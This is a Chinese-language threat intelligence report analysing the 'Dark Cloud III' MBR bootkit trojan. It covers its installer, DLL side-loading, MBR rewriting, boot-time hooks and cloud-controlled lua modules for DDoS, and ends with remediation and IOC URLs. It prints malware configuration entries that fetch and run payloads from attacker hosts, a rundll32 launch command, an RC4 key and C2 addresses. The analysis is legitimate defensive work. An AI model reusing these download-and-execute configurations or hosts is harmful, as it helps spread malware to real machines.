返回 TI 主页

事件背景

2017年6月9日,关于一款名为“暗云III”木马的信息在互联网传播,据称此木马具有隐蔽性强、潜在危害大、传播范围广等特点。木马主要通过外挂、游戏辅助、私服登录器等传播,此类软件通常诱导用户关闭安全软件后使用,使得木马得以乘机植入。木马主要通过云控进行任务发布,传播及执行恶意功能时无文件写入磁盘,同时木马所具有的bootkit能力也使得木马的运行更加隐而且难以查杀。本报告对木马的相关技术进行分析,并提供解决方法和检查确认建议。

目标样本

奇安信威胁情报中心得到了如下木马相关的样本,相关的基本信息如下:

Hash BC5DEA3605878631B8FEEEB53BFB5B17
文件类型 Win32 EXE
文件大小 1669784字节
时间戳 2016.12.24 16:52:15
首次上传VirusTotal时间 2017-03-15 07:19:09 UTC
Hash 518f9e5b1fb6397a27a0851930625049
文件类型 Win32 EXE
文件大小 48462字节
时间戳 2016.12.16 19:56:11
首次上传VirusTotal时间 2017-05-24 22:33:38 UTC

样本分析

安装程序分析

Hash BC5DEA3605878631B8FEEEB53BFB5B17
文件类型 Win32 EXE
文件大小 1669784字节
时间戳 2016.12.24 16:52:15
首次上传VirusTotal时间 2017-03-15 07:19:09 UTC

样本功能:

样本运行后显示正常游戏界面,会在后台解密payload,并在内存中动态到payload入口点执行,payload会搜集本机信息,拼接本机信息做为配置文件的下载地址,使用URLDownloadToFile下载配置文件,解析配置文件中的url字段、cmdline等字段,下载url字段中的内容并在内存中加载执行。

样本运行,显示正常游戏界面:

使用CallWindowProcW注册窗口事件:

在窗口处理函数中,查找89号资源,加载该图片资源,在该图片资源图片偏移ED7C的位置,保存着可以执行的代码:

将图片偏移ED7C处的代码复制到新申请的内存中。

这段代码包含两部分内容:

运行这段代码时,首先会运行前面部分的shellcode内容,shellcode会使用RtlDecompressBuffer函数在内存中解压被压缩过的PE文件:

对解压缩出的PE文件进行内存动态加载后到入口点执行:

这个内存解密出来的样本的功能为:

检测本机的环境(包括是否安装有360安全软件,是否是网吧环境,是否是虚拟机环境等),将收集到的客户端信息发送到http://c2tongji.b5156.com:89,服务器根据对本机环境做出判断返回不同内容。只有在满足特定环境的情况下,才会返回带有恶意下载链接的配置文件。而在木马的运行环境不符合木马作者的预期时,则不会返回恶意配置文件,以此来逃避安全软件查杀。

检测虚拟机的代码片段:

检测360安全软件的代码片段:

检测是否是网吧环境的代码片段:

搜集用户信息,通过URLDownloadToFile下载配置文件到本地:

下载回来的配置文件的格式为:

[Update] 

Version=2 
Url=http://update.njmmy.com:8089/config/LDrvSvc.zip 
CmdLine=rundll32.exe LDrvSvc.dll,RundllInstall 
Dir=%appdata%\\LDrvSvc

随后对下载回来的配置文件进行解析后,使用CreateProcess加载从配置文件中URL字段的内容:

此时下载的内容经过解密后在内存中执行,会尝试改写MBR。

MBR的改写

此阶段木马的主要功能为:从上面的配置中下载回来的zip包中包含了驱动人生的白样本,木马利用驱动人生的白样本文件会尝试加载名为DtlCrashCatch.dll文件,而此文件是攻击者所提供的恶意代码,这是典型的白加黑绕过杀软的技巧,被国内恶意代码开发者所广泛使用。DtlCrashCatch.dll文件会从http://www.2tf1.com/upcfg.db 得到URL,从那个URL指向位置下载加密过的内容,在本地内存中解密后加载执行尝试修改用户计算机硬盘的MBR。

被恶意利用的白签名文件:

Hash b3a4d017e51da2a3aef520d4836c6dc6
签名信息 Shenzhen DriveTheLife Software Technology Co.Ltd

具体的过程为:

通过调用“rundll32.exe LDrvSvc.dll,RundllInstall Dir=%appdata%\LDrvSvc”命令,将调用LDrvSvc.dll的RundllInstall函数,在RundllInstall函数中调用了HostInstall函数。

而HostInstall函数会将在系统中注册LDrvSvc服务。

随后以服务方式启动LDrvSvc.dll,这时会进入LDrvSvc.dll的ServiceMain函数。ServiceMain函数会加载DtlCrashCatch.dll文件

最终会调用DtlCrashCatch.dll的1001E889代码处:

上述代码功能为通过CreateFileMapping和MappingViewOfFile解密指定尾部数据到一个共享内存,解密到共享内存中的代码shellcode,功能为调用RtlDecompressBuffer解密出PE并到PE入口点处执行。

这个PE的功能为从http://www.2tf1.com/upcfg.db下载文件,将文件使用RC4算法解密,并判断下载回来的文件前4个字节是不是0xA5A5A5A5,如果满足条件则从解密后的第4个字节处开始执行。

此处使用的RC4密钥的十六进制表示为:

F4 70 75 3D 21 B7 D8 95 BE 49 48 C1 56 F6 A9 C1

下载配置文件代码片段:

RC4解密后,比较0xA5A5A5A5代码片段:

从解密出的代码+4处开始执行后,又会执行与前面类似的解密过程,先通过RtlDecompressBuffer解压缩代码后面部分压缩过的PE文件数据,随后动态加载PE后,到PE入口点执行。

这时解压缩的代码片段:

内存加载PE代码片段:

内存中加载的这个PE文件才是最终真正的修改MBR的PE。

加载到内存后,判断ldrvsvc.dll模块的0x156C处是否为“0x8B 0x44 0x24 0x04 0x83 0xE8 0x01”(用来判断是不是已经被patch过),如果判断通过,就将ldrvsvc.dll模块的0x156C patch为”jmp 4C62D”:

用来对ldrvsvc.dll做patch的代码:

被patch后的ldrvsvc.dll,最终会被服务调用,进而执行写入MBR操作。为了防止对MBR的重复写入,木马在写入MBR操作前,会比较MBR是不是特征代码片段:

31 C0 FA 31 DB 8E D3 36 89 26 FE 7B BC FE 7B 1E 66 60 8E DB 3E A1 13 04 24 FC 83 E8 40 3E A3 13

比较MBR是否已经被写入的代码片段:

木马会把原始的MBR备份到系统第二扇区中,同时在第一扇区中写入恶意代码,在3-63扇区中写入加密过的恶意代码:

Bootkit功能分析

bootkit功能主要:在内核以TDI 的方式访问网络下载shellcode解密后直接在内核中运行。木马在TDI层用udp连接访问ms.maimai666.com的8064端口获取shellcode。如果失败改用tcp连接ms.maimai666.com的8864获取。得到的内容会在内存中解密,解密后以APC的形式插入到应用层进程中。插入到应用层的代码功能主要为:根据配置文件从 http://www.acsewle.com:8877/ds/cl.db 下载加密后的文件,文件解密后的样本功能在下一小节中分析。

由上一节对MBR写入过程的调试发现写入MBR后,系统第1个扇区的内容变为下图所示,这是木马的病毒代码:

系统第1扇区的代码功能为:将磁盘3-63扇区的木马主体加载到内存中解密执行。

解密部分代码片段:

这部分解密代码的功能是:挂钩系统的15号中断,随后读取第二扇区中的备份MBR正常地引导系统启动。

挂钩系统的15号中断代码片段:

挂钩成功后,使用第二扇区中备份的系统MBR正常地引导启动:

INT 15中断向量被挂钩前后对比图:

随后,bootkit会挂钩BILoadImageEx函数、ntoskrnl入口点等。此外,木马还会根据磁盘类型和操作系统替换DriverStartIo、 AtapiHwStartIo、RaUnitStartIo等函数,从而阻止其他程序读取磁盘原始MBR。当检测到读MBR时,返回一个正常的MBR,检测到写MBR时,则直接忽略该操作。这就导致了系统中毒之后,如果木马作者没有打开云控开关的情况会,很难察觉电脑中毒。

这样,当系统下次启动时,系统引导会通过int 15中断查询内存信息,此时挂钩15号中断的木马便得以第二次获得CPU控制权,获得控制权后木马挂钩BILoadImageEx函数,调用原始15号中断并将控制权交回给系统继续引导。

当系统引导代码调用BILoadImageEx加载ntoskrnl.exe时,木马便第三次获得控制权,获得控制权后木马再一次执行挂钩操作,此次挂钩的位置是ntoskrnl.exe的入口点,随后将控制权交给系统继续引导。

当引导完毕进入windows内核时,挂钩ntoskrnl入口点的木马代码第四次获得CPU控制权,此时木马已真正进入windows内核中,获得控制权后,分配一块内存空间,将木马内核的主功能代码拷贝到分配的空间中,并通过创建PsSetCreateThreadNotifyRoutine回调的方式使主功能代码得以执行。至此完成木马由MBR到windows内核的加载过程[1] [2] [3]

Bootkit所加载木马的分析

对bootkit从云端加载的木马进行分析,文件基本信息:

Hash 518f9e5b1fb6397a27a0851930625049
文件类型 Win32 EXE
文件大小 48462字节
时间戳 2016.12.16 19:56:11
首次上传VirusTotal时间 2017-05-24 22:33:38 UTC

样本功能:

访问http://www.acsewle.com:8877/ds/kn.html下载配置文件,解析配置文件中的appurl字段,下载appurl字段的url,根据配置文件中ispe为1,则通过CreateProcess直接加载执行。如果配置文件中ispe为0,则解析下载回来的非PE文件,RC4解密该非PE文件,得到PE加载代码与PE文件,以傀儡进程方式注入svchost.exe,,最后通过解密出来的PE加密代码加载解密出来的PE文件。

细节如下:

通过事件实现单一进程运行的,事件名:

下载配置文件到临时文件中:

访问http://www.acsewle.com:8877/ds/kn.html

[Config] 

version = 890 
isexe = 0 
appurl = http://www.acsewle.com:8877/ds/lcdn.db

解析CONFIG中的配置项目:

解析出 appurl后,会下载appurl的地址到临时文件。

下载回来的代码如下:

其中的格式为:

前面8字节为“SLDREXEC”,标识字符,图中黑色框部分。绿色框部分为加密过的shellcode的长度。红色框部分为加密shellcode时使用的RC4密钥。褐色框部分为加密过的shellcode的内容。

使用RC4算法将上面的褐色框部分解密后的内容分为两部分:

第一部分为代码片段,用于动态加载PE文件

第二部分为完整的PE文件,从文件偏移0x328处就是一个完整的PE文件。

PE文件片段如下:

解密出来的注入代码如下:

将上面解密出的内容注入到svchost.exe中执行:

注入到svhost.exe中的代码包含上面所有的解密内容(包括代码片段与完整的PE文件)。

代码片段的功能是动态获得函数地址,在内存中加载解密出的PE文件:

内存加载PE并到入口点执行

Payload使用了UPX压缩。Payload的功能为,从网上下载lua脚本保存到临时文件,随后使用PE中内置的lua解析程序运行下载的lua脚本。

从http://www.acsewle.com:8877/ld/ndn.db下载lua脚本到本地:

使用PE中内置的lua解析器执行lua脚本:

木马根据云端配置不同的lua脚本实现不同的功能。主要不同的lua的功能包括:统计受害机器信息功能,发动DDOS攻击功能,发起CC攻击功能等。

解决方案

从以上的技术分析可以看到,暗云木马感染了MBR,即使重装系统,MBR里的恶意代码还会联网下载木马病毒执行。目前比较稳妥的解决办法是使用360急救箱的强力模式进行系统扫描,360急救箱强力模式会重启系统先于木马启动,从而彻底清除MBR中恶意代码,恢复系统正常MBR。

360急救箱下载地址:http://down.360safe.com/360c0mpkill5.1.64.1183-0605.zip

IOC

由于木马一旦感染会先于操作系统启动,在本地进行检查会变得非常困难,但由于木马有相对固定的网络行为,由于可以在网络出口尝试匹配如下URL及相应域名访问尝试,由可以比较有效低成本的发现中招系统。我们提供如下的URL IOC:

http://www.acsewle.com:8877/ds/kn.html

http://ms.maimai666.com

http://www.acsewle.com:8877/ds/cl.db

http://www.acsewle.com:8877/ds/lcdn.db

http://www.acsewle.com:8877/ds/ndn.db

http://www.2tf1.com/upcfg.db

http://update.njmmy.com:8089/config/LDrvSvc.zip

http://www.acsewle.com:8877/um.php

参考信息


  1. http://bbs.guanjia.qq.com/forum.php?mod=viewthread&tid=5307974 ↩︎

  2. https://mp.weixin.qq.com/s/MYbSHWHE4qpa0XJ3N6nAzw ↩︎

  3. http://www.freebuf.com/articles/system/134017.html ↩︎

DARKCLOUD 暗云3 暗云